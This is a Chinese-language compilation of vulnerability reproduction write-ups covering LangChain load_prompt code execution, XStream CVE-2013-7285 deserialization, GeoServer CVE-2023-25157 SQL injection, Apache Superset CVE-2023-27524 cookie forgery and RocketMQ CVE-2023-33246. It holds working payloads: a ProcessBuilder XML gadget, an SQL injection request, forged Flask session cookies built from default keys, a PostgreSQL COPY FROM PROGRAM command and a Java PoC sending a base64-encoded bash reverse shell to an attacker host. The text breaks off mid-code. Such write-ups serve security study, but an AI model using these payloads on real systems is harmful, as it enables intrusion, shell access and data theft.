漏洞简介 LangChain是一个用于开发由语言模型驱动的应用程序的框架。 在LangChain受影响版本中,由于load_prompt函数加载提示文件时未对加载内容进行安全过滤,攻击者可通过构造包含恶意命令的提示文件,诱导用户加载该文件,即可造成任意系统命令执行。 漏洞复现 在项目下编写 test.py from langchain.prompts import load_prompt if __name__ == '__main__':    loaded_prompt = load_prompt("system.py") 同级目录下编写 system.py 执行系统命令 dir import os os.system("dir") 运行 test.py 返回了执行系统命令dir 的结果 漏洞分析-_load_prompt_from_file langchain.prompts.loading.load_prompt try_load_from_hub 是尝试从给定的路径远程加载文件但是因为我们是加载本地文件,所以接下会跳转到 _load_prompt_from_file langchain.prompts.loading._load_prompt_from_file 在 _load_prompt_from_file 根据文件的后缀,当后缀是 .py 时 最终会读取该文件并利用 exec 去执行 也就相当于,代码可以简写为 if __name__ == '__main__':    file_path = "system.py"    with open(file_path, "rb") as f:        exec(f.read()) ‍ 漏洞分析-try_load_from_hub 因为网络的原因一直没有办法复现成功,这里就代码层面进行一个详细的分析 from langchain.prompts import load_prompt if __name__ == '__main__':    loaded_prompt = load_prompt("lc://prompts/../../../../../../../system.py") langchain.prompts.loading.load_prompt langchain.utilities.loading.try_load_from_hub 首先匹配了 HUB_PATH_RE = re.compile(r"lc(?Pref@[^:]+)?://(?Ppath.*)") 所以需要满足最开始是 lc:// 然后对后面的内容进行匹配,要求第一个字段的值是 prompts 最后的后缀要在 {'py', 'yaml', 'json'} 中 最后拼接请求的url 可以通过 ../../../ 绕出项目的限制,指向我们设定好的文件,并读取加载实现任意命令执行 漏洞小结 在最新版本上面进行尝试,仍然存在这个漏洞,这个漏洞的本质就是可以加载执行本地或者指定的 python 文件,但是在实际应用中这个问题应该并不是那么好进行利用,因为 python 文件的地址要可控才行。
Java 反序列化之 XStream 反序列化
0x01 XStream 基础 XStream 简介 XStream 是一个简单的基于 Java 库,Java 对象序列化到 XML,反之亦然(即:可以轻易的将 Java 对象和 XML 文档相互转换)。 使用 XStream 实现序列化与反序列化 下面看下如何使用 XStream 进行序列化和反序列化操作的。 先定义接口类 IPerson.java public interface IPerson {      void output();   } 接着定义 Person 类实现前面的接口: public class Person implements IPerson {      String name;      int age;        public void output() {          System.out.print("Hello, this is " + this.name + ", age " + this.age);     }   } XStream 序列化是调用 XStream.toXML() 来实现的: public class Serialize {      public static void main(String[] args) {          Person p = new Person();          p.age = 6;          p.name = "Drunkbaby";          XStream xstream = new XStream(new DomDriver());          String xml = xstream.toXML(p);          System.out.println(xml);     }   } XStream 反序列化是用过调用 XStream.fromXML() 来实现的,其中获取 XML 文件内容的方式可以通过 Scanner() 或 FileInputStream 都可以: Deserialize.java import com.thoughtworks.xstream.XStream;   import com.thoughtworks.xstream.io.xml.DomDriver;     import java.io.File;   import java.io.FileInputStream;   import java.io.FileNotFoundException;   import java.util.Scanner;     public class Deserialize {      public static void main(String[] args) throws FileNotFoundException {   //       String xml = new Scanner(new File("person.xml")).useDelimiter("\\Z").next();          FileInputStream xml = new FileInputStream("G:\\OneDrive - yapuu\\Java安全学习\\JavaSecurityLearning\\JavaSecurity\\XStream\\XStream\\XStream-Basic\\src\\main\\java\\person.xml");          XStream xstream = new XStream(new DomDriver());          Person p = (Person) xstream.fromXML(xml);          p.output();     }   } XStream 几个部分 XStream 类图,参考./https://www.jianshu.com/p/387c568faf62: 主要分为四个部分: MarshallingStrategy 编码策略 marshall : object->xml 编码 unmarshall : xml-> object 解码 两个重要的实现类: com.thoughtworks.xstream.core.TreeMarshaller : 树编组程序 调用 Mapper 和 Converter 把 XML 转化成 Java 对象 其中的 start 方法开始编组 其中调用了 this.convertAnother(item) 方法 convertAnother 方法的作用是把 XML 转化成 Java 对象。 Mapper 映射器 简单来说就是通过 mapper 获取对象对应的类、成员、Field 属性的 Class 对象,赋值给 XML 的标签字段。 Converter 转换器 XStream 为 Java 常见的类型提供了 Converter 转换器。转换器注册中心是 XStream 组成的核心部分。 转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为 XML 或将 XML 转换为对象。 简单地说,就是输入 XML 后它能识别其中的标签字段并转换为相应的对象,反之亦然。 转换器需要实现 3 个方法,这三个方法分别是来自于 Converter 类以及它的父类 ConverterMatcher canConvert 方法:告诉 XStream 对象,它能够转换的对象; marshal 方法:能够将对象转换为 XML 时候的具体操作; unmarshal 方法:能够将 XML 转换为对象时的具体操作; 具体参考:http://x-stream.github.io/converters.html 这里告诉了我们针对各种对象,XStream 都做了哪些支持。 EventHandler 类 EventHandler 类为动态生成事件侦听器提供支持,这些侦听器的方法执行一条涉及传入事件对象和目标对象的简单语句。 EventHandler 类是实现了 InvocationHandler 的一个类,设计本意是为交互工具提供 beans,建立从用户界面到应用程序逻辑的连接。 EventHandler 类定义的代码如下,其含有 target 和 action 属性,在 EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke() 的函数调用链中,会将前面两个属性作为类方法和参数继续反射调用: public class EventHandler implements InvocationHandler {      private Object target;      private String action;   ...     public Object invoke(final Object proxy, final Method method, final Object[] arguments) {         ...                  return invokeInternal(proxy, method, arguments);         ...     }         private Object invokeInternal(Object proxy, Method method, Object[] arguments) {         ...                                Method targetMethod = Statement.getMethod(                               target.getClass(), action, argTypes);                 ...                  return MethodUtil.invoke(targetMethod, target, newArgs);             }             ...     }     ...   } 这里重点看下 EventHandler.invokeInternal() 函数的代码逻辑,如注释: private Object invokeInternal(Object var1, Method var2, Object[] var3) {   //-------------------------------------part1----------------------------------   //作用:获取interface的name,即获得Comparable,检查name是否等于以下3个名称          String var4 = var2.getName();          if (var2.getDeclaringClass() == Object.class) {              if (var4.equals("hashCode")) {                  return new Integer(System.identityHashCode(var1));             }                if (var4.equals("equals")) {                  return var1 == var3[0] ? Boolean.TRUE : Boolean.FALSE;             }                if (var4.equals("toString")) {                  return var1.getClass().getName() + '@' + Integer.toHexString(var1.hashCode());             }         }   //-------------------------------------part2----------------------------------   //貌似获取了一个class和object          if (this.listenerMethodName != null && !this.listenerMethodName.equals(var4)) {              return null;         } else {              Class[] var5 = null;              Object[] var6 = null;              if (this.eventPropertyName == null) {                  var6 = new Object[0];                  var5 = new Class[0];             } else {                  Object var7 = this.applyGetters(var3[0], this.getEventPropertyName());                  var6 = new Object[]{var7};                  var5 = new Class[]{var7 == null ? null : var7.getClass()};             }   //------------------------------------------------------------------------------              try {                  int var12 = this.action.lastIndexOf(46);                  if (var12 != -1) {                      this.target = this.applyGetters(this.target, this.action.substring(0, var12));                      this.action = this.action.substring(var12 + 1);                 }   //--------------------------------------part3----------------------------------------   //var13获取了method的名称, var13=public java.lang.Process java.lang.ProcessBuilder.start() throws java.io.IOException                  Method var13 = Statement.getMethod(this.target.getClass(), this.action, var5);   //--------------------------------------------------------------------------   //判断var13是否为空,当然不为空啦                  if (var13 == null) {                      var13 = Statement.getMethod(this.target.getClass(), "set" + NameGenerator.capitalize(this.action), var5);                 }                    if (var13 == null) {                      String var9 = var5.length == 0 ? " with no arguments" : " with argument " + var5[0];                      throw new RuntimeException("No method called " + this.action + " on " + this.target.getClass() + var9);                 } else {   //-------------------------------------part4----------------------------------   //调用invoke,调用函数,执行命令                      return MethodUtil.invoke(var13, this.target, var6);                 }   //------------------------------------------------------------------------------             } catch (IllegalAccessException var10) {                  throw new RuntimeException(var10);             } catch (InvocationTargetException var11) {                  Throwable var8 = var11.getTargetException();                  throw var8 instanceof RuntimeException ? (RuntimeException)var8 : new RuntimeException(var8);             }         }   } 有一说一看到这里的时候,就感觉 XStream 可能比较多的会通过动态代理作为 sink DynamicProxyConverter 动态代理转换器 DynamicProxyConverter 即动态代理转换器,是 XStream 支持的一种转换器,其存在使得 XStream 能够把 XML 内容反序列化转换为动态代理类对象: XStream 反序列化漏洞的 PoC 都是以 DynamicProxyConverter 这个转换器为基础来编写的。 以官网给的例子为例: <dynamic-proxy>    <interface>com.foo.Blah</interface>    <interface>com.foo.Woo</interface>    <handler class="com.foo.MyHandler">      <something>blah</something>    </handler>   </dynamic-proxy> dynamic-proxy 标签在 XStream 反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blah 或 com.foo.Woo 这两个接口类中声明的方法时(即 interface 标签内指定的接口类),就会调用 handler 标签中的类方法 com.foo.MyHandler 0x02 CVE-2013-7285 PoC <sorted-set>    <dynamic-proxy>      <interface>java.lang.Comparable</interface>      <handler class="java.beans.EventHandler">        <target class="java.lang.ProcessBuilder">          <command>            <string>Calc</string>          </command>        </target>        <action>start</action>      </handler>    </dynamic-proxy>   </sorted-set> 看到 PoC 这里大致是明白了,在之前有一段代码是读取每一个 XML 的节点,读取这些节点之后应该是用动态代理触发 invoke() 了 触发代码 import com.thoughtworks.xstream.XStream;   import com.thoughtworks.xstream.io.xml.DomDriver;     import java.io.FileInputStream;     // CVE_2013_7285 Exploit   public class CVE_2013_7285 {      public static void main(String[] args) throws Exception{          FileInputStream fileInputStream = new FileInputStream("G:\\OneDrive - yapuu\\Java安全学习\\JavaSecurityLearning\\JavaSecurity\\XStream\\XStream\\XStream-Basic\\src\\main\\java\\person.xml");          XStream xStream = new XStream(new DomDriver());          xStream.fromXML(fileInputStream);     }   } 漏洞原理 XStream 反序列化漏洞的存在是因为 XStream 支持一个名为 DynamicProxyConverter 的转换器,该转换器可以将 XML 中 dynamic-proxy 标签内容转换成动态代理类对象,而当程序调用了 dynamic-proxy 标签内的 interface 标签指向的接口类声明的方法时,就会通过动态代理机制代理访问 dynamic-proxy 标签内 handler 标签指定的类方法。 利用这个机制,攻击者可以构造恶意的XML内容,即 dynamic-proxy 标签内的 handler 标签指向如 EventHandler 类这种可实现任意函数反射调用的恶意类、interface 标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意 XML 内容后即可触发反序列化漏洞、达到任意代码执行的目的。 漏洞分析 下断点调试一下,这里前面的流程和分析 XStream 流程是类似的,会调用HierarchicalStreams.readClassType() 来获取到 PoC XML 中根标签的类类型 后面会跟进到 mapper.realClass() 进行循环遍历,用来查找 XML 中的根标签为何类型(前面也都分析过了),接着是调用 convertAnother() 函数对 java.util.SortedSet 类型进行转换,我们跟进去该函数,其中调用 mapper.defaultImplementationOf() 函数来寻找 java.util.SortedSet 类型的默认实现类型进行替换,这里转换为了 java.util.TreeSet 类型 接着就是寻找 Convert 的过程,这里寻找到对应的转换器是 TreeMapConverter 转换器 往下调试,在 AbstractReferenceUnmarshaller.convert() 函数中看到,会调用 getCurrentReferenceKey() 来获取当前的 Reference 键,并且会将当前的 Reference 键压到栈中,这个 Reference 键后续会和保存的类型 —— java.util.TreeSet 类一一对应起来。 接着调用其父类即的 FastStack.convert() 方法,跟进去,显示将类型压入栈,然后调用转换器 TreeSetConverter 的 unmarshal() 方法: 在它第 61 行调用了 treeMapConverter.unmarshalComparator() 方法,这个方法获取到了第二个 XML 节点元素,这个方法当时漏看了,这个方法还是比较重要的,它获取到了 xml 根元素的子元素。 跟进之后就变得一目了然了,其中判断 reader 是否还有子元素 下面的 reader.movedown() 方法做了获取子元素,并把子元素添加到当前 context 的 pathTracker 往下调试,在 TreeSetConverter.unmarshal() 方法中调用了 this.treeMapConverter.populateTreeMap(),从这个方法开始,XStream 开始处理了 XML 里面其他的节点元素。跟进该函数,先判断是否是第一个元素,是的话就调用 putCurrentEntryIntoMap()函数,即将当前内容缓存到 Map 中: 跟进去,发现调用 readItem() 方法读取标签内的内容并缓存到当前 Map 中 这里再跟进 readItem() 方法,会发现比较有意思的一点是它又调用了 HierarchicalStreams.readClassType() 和 context.convertAnother() 方法,而这里的元素已经变成了第二个元素,也就是 <dynamic-proxy>,这里有点像是递归调用 可以跟进去看一下,这里通过查看 mapper 可以知道目前拿去保存在 mapper 当中的还是两个元素,而 XStream 的处理,则会处理最新的一个(最里层的一个) 经过处理之后返回的 type 就为最新的一个子元素的类型,这里是 com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy,对应的转换器为 DynamicProxyConverter,跟进到其中来看具体处理。 先判断当前元素是否还有子元素,并获取该子元素进行后续判断 根据我们所编写的 xml,获取到的子元素为 <interface>,经过判断 if (elementName.equals("interface")),如果为 true,则将目前 <interface> 节点的元素获取到,再获得转换类型。 因为仍旧存在子元素,获取完 <interface> 后重新进入这个迭代,下一个获取到的子元素是 <handler>。这里程序会判断是否等于 handler,如果等于 handler,则获取它标签所对应的类,并跳出迭代。 往下走,第 125 行调用了 Proxy.newProxyInstance() 方法,这里是动态代理中的,实例化代理类的过程。第 127 行这里,调用 context.convertAnother() 方法,跟进一下。对应的转换器是 AbstractReflectionConverter,它会先调用 instantiateNewInstance() 方法实例化一个 EventHandler 类 往下,跟进 doUnmarshal() 方法,这里又是一层内部递归,从 xml 中可以看到 <handler> 节点之下还有很多子节点(又看到了熟悉的 hasChildren() 这时我们获取到的 type 为 class java.lang.ProcessBuilder,跟进 unmarshallField() 方法 后面也都是类似的运行流程了,这里就不再废话,师傅们可以自行分析一下,是很容易看懂的;XSteam 虽然处理了 xml,且我们也基本明白了基础运行流程,但是最后漏洞触发这里还是要关注一下。 将所有的节点过完一遍之后,最终还是会走到 treeMapConverter.populateTreeMap() 这个地方 跟进,直到第 122 行,调用 put.All() 方法,里面的变量为 sortedMap,查看一下它的值可以发现这是一串链式存储的数据 最终是调用到 EventHandler.invoke() 方法调用栈如下,还是比较简单的 invoke:428, EventHandler (java.beans) compareTo:-1, $Proxy0 (com.sun.proxy) compare:1294, TreeMap (java.util) put:538, TreeMap (java.util) putAll:281, AbstractMap (java.util) putAll:327, TreeMap (java.util) populateTreeMap:122, TreeMapConverter (com.thoughtworks.xstream.converters.collections) 最后成功调用了 java.lang.ProcessBuilder#start 方法,命令执行 0x03 漏洞修复 根据官方的修复手段,这里其实增加了黑名单 Users can register an own converter for dynamic proxies, the java.beans.EventHandler type or for the java.lang.ProcessBuilder type, that also protects against an attack for this special case: xstream.registerConverter(new Converter() {  public boolean canConvert(Class type) {    return type != null && (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type)); }  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {    throw new ConversionException("Unsupported type due to security reasons."); }  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {    throw new ConversionException("Unsupported type due to security reasons."); } }, XStream.PRIORITY_LOW); 0x04 小结 XStream 最基础的漏洞是 CVE-2013-7285,通过这个漏洞可以很好的先认识 XStream 的基础运行流程,后续的漏洞挖掘和修复也算是一些《攻防史》,还是比较有意思的。
浅析GeoServer CVE-2023-25157 SQL注入
简介 GeoServer是一个开源的地图服务器,它是遵循OpenGIS Web服务器规范的J2EE实现,通过它可以方便的将地图数据发布为地图服务,实现地理空间数据在用户之间的共享。 影响版本 geoserver<2.18.7 2.19.0<=geoserver<2.19.7 2.20.0<=geoserver<2.20.7 2.21.0<=geoserver<2.21.4 2.22.0<=geoserver<2.22.2 环境搭建 安装方式有多种可以选择 windwos下载安装 https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.0/GeoServer-2.22.0-winsetup.exe/download下载后只需要指定端口直接下载可完成安装 war包安装 tomcat下载地址 https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.90/bin/apache-tomcat-8.5.90-windows-x64.zipgeoserver下载地址 https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.1/geoserver-2.23.1-war.zip解压下载后的文件geoserver-2.15.1-war.zip,得到geoserver.war 把此geoserver.war文件拷贝到tomcat根目录下的webapps文件夹下。 启动tomcat 访问路径,默认端口为8080,端口根据自己的需求开放即可,这里我开放的端口为8081 http://localhost:8081/geoserver/web/ 分析 POC下载链接 https://github.com/win3zz/CVE-2023-25157python3 CVE-2023-25157.py http://localhost:8081 查看提交的补丁分析一下漏洞 https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d修改了配置文件src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java 重新添加了模块org.geoserver.jdbcloader.JDBCLoaderProperties模块用于配置文件jdbcconfig/jdbcconfig.properties中的 JDBCConfig 模块 属性字段并更改了构造函数以包含此属性字段。这允许对数据库配置进行更多自定义,从而可能允许增强安全措施。https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.html是 Spring Framework 提供的一个类,它添加了对使用命名参数对 JDBC 语句进行编程的支持,而不是使用经典占位符 ('?') 参数对 JDBC 语句进行编程 public ConfigDatabase(            JDBCLoaderProperties properties,            DataSource dataSource,            XStreamInfoSerialBinding binding) {        this(properties, dataSource, binding, null);   }    public ConfigDatabase(            JDBCLoaderProperties properties,            final DataSource dataSource,            final XStreamInfoSerialBinding binding,            CacheProvider cacheProvider) {        this.properties = properties;        this.binding = binding;        this.template = new NamedParameterJdbcTemplate(dataSource); 通过使用参数化查询而不是字符串连接 src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/OracleDialect.java在插入中做了修改         //sql.insert(0, "SELECT * FROM (SELECT query.*, rownum rnum FROM (\n");         //sql.append(") query\n");           sql.insert(                   0,                   "SELECT * FROM (SELECT query.*, rownum rnum FROM ("                           + (isDebugMode() ? "\n" : ""));           sql.append(") query");           appendIfDebug(sql, "\n", " "); 修改了插入语法,其方法在src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java 中定义 public boolean isDebugMode() {        return debugMode;   }    public void setDebugMode(boolean debugMode) {        this.debugMode = debugMode;   }    /** Escapes the contents of the SQL comment to prevent SQL injection. */    public String escapeComment(String comment) {        String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("*\\\\/");        return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\\\*");   }    /** Appends the objects to the SQL in a comment if debug mode is enabled. */    public StringBuilder appendComment(StringBuilder sql, Object... objects) {        if (!debugMode) {            return sql;       }        sql.append(" /* ");        for (Object object : objects) {            sql.append(escapeComment(String.valueOf(object)));       }        return sql.append(" */\n");   }    /** Appends the objects to the SQL in an comment if debug mode is enabled. */    public StringBuilder appendComment(Object sql, Object... objects) {        return appendComment((StringBuilder) sql, objects);   }    /** Appends one of the strings to the SQL depending on whether debug mode is enabled. */    public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {        return sql.append(debugMode ? ifEnabled : ifDisabled);   } 获取功能名POC GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1 Host: 10.10.12.35:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0 Upgrade-Insecure-Requests: 1 获取功能属性POC GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines&maxFeatures=1&outputFormat=json HTTP/1.1 Host: 10.10.12.35:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0 Upgrade-Insecure-Requests: 1 构造恶意payload GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=ne:coastlines=strStartsWith%28scalerank%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1 Host: 10.10.12.35:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=node0iyysq0tt08lup1gy571ox3id1.node0 Upgrade-Insecure-Requests: 1 这里引用一张图,geotools的注入漏洞 漏洞编号CVE-2023-25158,查看补丁发现 在类中添加该escapeBackslash字段https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2e是一种预防措施,可防止某些形式的 SQL 注入,其中反斜杠字符用于转义 SQL 语法中的特殊字符 // single quotes must be escaped to have a valid sql string String escaped = escapeLiteral(encoding); 调用类escapeLiteral()中的方法EscapeSql.java。此方法旨在不仅转义单引号,还转义反斜杠,并可能根据其参数转义双引号 public static String escapeLiteral(           String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {           // ' --> ''           String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");           if (escapeBackslash) {               // \ --> \\               escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\\\\\");           }           if (escapeDoubleQuote) {               // " --> \"               escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\\\\"");           }           return escaped; 至于为什么会聊到CVE-2023-25158,这里就要聊到Geoserver和Geotools的关系了,可以参考这篇文章 https://blog.csdn.net/nmj2008/article/details/113869086修复方案 升级安全版本,目前已经有最新版本。
Apache Superset 身份认证绕过漏洞(CVE-2023-27524)
漏洞简介 Apache Superset是一个开源的数据可视化和数据探测平台,它基于Python构建,使用了一些类似于Django和Flask的Python web框架。提供了一个用户友好的界面,可以轻松地创建和共享仪表板、查询和可视化数据,也可以集成到其他应用程序中。由于用户在默认安装过程中,未对SECRET_KEY的默认值进行更改,未经身份验证的攻击者通过伪造管理员身份进行访问后台,并通过后台原本数据库执行功能实现命令执行操作。‍ 环境搭建 可以通过 fofa 来搜索相关网站 "Apache Superset" 这里我们通过 docker 来在本地搭建环境 git clone https://github.com/apache/superset.git cd superset git checkout 2.0.0 TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml pull TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml up 官网提供的方法 并没有搭建成功,还是直接在docker 仓库中查找 https://hub.docker.com/r/apache/superset/tags?page=1&ordering=last_updated&name=2.0.0&& docker pull apache/superset:2.0.0 docker exec -it superset superset fab create-admin --username admin --firstname Superset --lastname Admin --email admin@superset.com --password admin docker exec -it superset superset db upgrade docker exec -it superset superset load_examples docker exec -it superset superset init 漏洞复现 利用脚本检测是否存在漏洞并生成相对应的 cookie 访问主页抓取数据包 将生成的 session 替换原本的 session 成功登录 接下来就是想办法 getshell 网络上的文章上是通过后台数据库执行语句来获取权限。 经过复现分析,发现存在的问题还比较多,首先是默认情况下执行语句仅仅支持 SELECT ,需要修改数据库的权限允许其他的一些语句(but 一些版本上是没有对数据库的操作权限的),然后就是获取的权限,本质上也只是获取了数据库的执行权限,数据库有可能并不与 superset 在同一服务器上,再有就是需要数据库本身也需要存在漏洞才可以,我这里选取了 (CVE-2019-9193)PostgreSQL 高权限命令执行漏洞来复现漏洞。 DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec; 漏洞分析 感觉这个漏洞有点像前段时间爆出来的 nacos 身份认证绕过漏洞 存在默认的密钥 SECRET_KEYS = [   b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1   b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1   b'thisISaSECRET_1234',                            # deployment template   b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation   b'TEST_NON_DEV_SECRET'                            # docker compose ] Superset 是用 Python 编写的,基于 Flask Web 框架。基于 Flask 的应用程序的常见做法是使用加密签名的会话 cookie 进行用户状态管理。当用户登录时,Web 应用程序将包含用户标识符的会话 cookie 发送回最终用户的浏览器。Web 应用程序使用 SECERT_KEY 对 cookie 进行签名,该值应该时随机生成的,通常存储在本地配置文件中,对于每个 Web 请求,浏览器都会将已签名的会话 cookie 发送回应用程序,然后应用程序验证 cookie 上的签名以处理请求之前重新验证用户。 整段描述下面我感觉跟 JWT 的相关验证方式差不太多,我们具体来操作看看。 首先就是请求的时候我们可以看到 cookie 值 可以解码成功,通过爆破(当然我们这里是已经已知这个 key 值),伪造生成用户的 cookie,替换数据包中的cookie 值,就成功登录成功,之后再次请求的时候,发现我们添加的字段已经被保存在 session 值中 >>> from flask_unsign import session >>> session.decode("eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiOGUzOTdiZTQ2ZjVlZjJiYTc1NjI4MWQxODE2NTAyMWEzMzcxYjI3OCIsImxvY2FsZSI6ImVuIn0.ZJAEeQ.wVfrGzupbWdw4R1OlzUwUqhGMMY") {'_fresh': False, 'csrf_token': '8e397be46f5ef2ba756281d18165021a3371b278', 'locale': 'en'} >>> session.sign({'_user_id': 1, 'user_id': 1},'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET') 'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZJAFNg.oWyP7v-1l0qOHFOMjSd-cFiVQLY' >>> session.decode(".eJxFzEEOhCAQBMC_9JmDwMZBPkOUaaKRaALuabN_15sPqPohlca-Ipa5dhqkb2dLmyJag9xbSde580CEjoHiQlYOlt4VDVMe3CjTRxYv3i_qGEQsDOqZ58rHPNDgHf83roYh1w.ZJAFVw.IwmWyTU1bvoY2nhlFYdmwXNNtTM") {'_fresh': False, '_user_id': 1, 'csrf_token': 'd68e728cde01e32fd89c0267947b3733bd2e8771', 'locale': 'en', 'user_id': 1} 漏洞修复 拒绝在非调试环境中使用默认密码启动 ‍
CVE-2023-33246命令执行复现分析
RocketMQ是一款低延迟、高并发、高可用、高可靠的分布式消息中间件。既可为分布式应用系统提供异步解耦和削峰填谷的能力,同时也具备互联网应用所需的海量消息堆积、高吞吐、可靠重试等特性。 影响版本 <=RocketMQ 5.1.0 <=RocketMQ 4.9.5 环境搭建 docker pull apache/rocketmq:4.9.4 root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv     //起nameserver 创建broker.conf,并且修改配置文件内容 root@ubuntu:/home/ubuntu/Desktop# docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf   //起Broker docker ps http://127.0.0.1:10912/python3 check.py --ip 10.10.14.72 --port 9876 python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 10.10.14.72 10911 wget  10.10.14.162:8666/1.txt 使用vulhub直接搭建可能效果好一点儿,否则,不知道为什么在漏洞利用执行上面命令的时候无回显,可能exp的问题 cd vulhub/rocketmq/CVE-2023-33246 docker-compose up -d POC如下 import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; import java.util.Base64; import java.util.Properties; public class poc {    private static String getCmd(String ip, String port) {        String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());        return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";   }    public static void main(String[] args) throws Exception {        String targetHost = "目的IP";        String targetPort = "10911";            String shellHost = "VPSIP";        String shellPort = "Listen-port";            String targetAddr = String.format("%s:%s",targetHost,targetPort);        Properties props = new Properties();        props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));        props.setProperty("filterServerNums", "1");        // 创建 DefaultMQAdminExt 对象并启动        DefaultMQAdminExt admin = new DefaultMQAdminExt(); //       admin.setNamesrvAddr("0.0.0.0:12345");        admin.start();        // 更新配置⽂件        admin.updateBrokerConfig(targetAddr, props);        Properties brokerConfig = admin.getBrokerConfig(targetAddr);        System.out.println(brokerConfig.getProperty("rocketmqHome"));        System.out.println(brokerConfig.getProperty("filterServerNums"));        // 关闭 DefaultMQAdminExt 对象        admin.shutdown();   } } 使用IDEA创建maven项目,创建xml文件下载依赖,下载地址 https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools/4.9.4<!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools --> <dependency>    <groupId>org.apache.rocketmq</groupId>    <artifactId>rocketmq-tools</artifactId>    <version>4.9.4</version> </dependency> 修改POC import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; import java.util.Base64; import java.util.Properties; public class poc {    private static String getCmd(String ip, String port) {        String cmd = "bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1";        String cmdBase = Base64.getEncoder().encodeToString(cmd.getBytes());        return "-c $@|sh . echo echo \"" + cmdBase + "\"|base64 -d|bash -i;";   }    public static void main(String[] args) throws Exception {        String targetHost = "10.10.14.72";        String targetPort = "10911";            String shellHost = "10.10.14.72";        String shellPort = "65532";            String targetAddr = String.format("%s:%s",targetHost,targetPort);        Properties props = new Properties();        props.setProperty("rocketmqHome", getCmd(shellHost,shellPort));        props.setProperty("filterServerNums", "1");        // 创建 DefaultMQAdminExt 对象并启动        DefaultMQAdminExt admin = new DefaultMQAdminExt(); //       admin.setNamesrvAddr("0.0.0.0:12345");        admin.start();        // 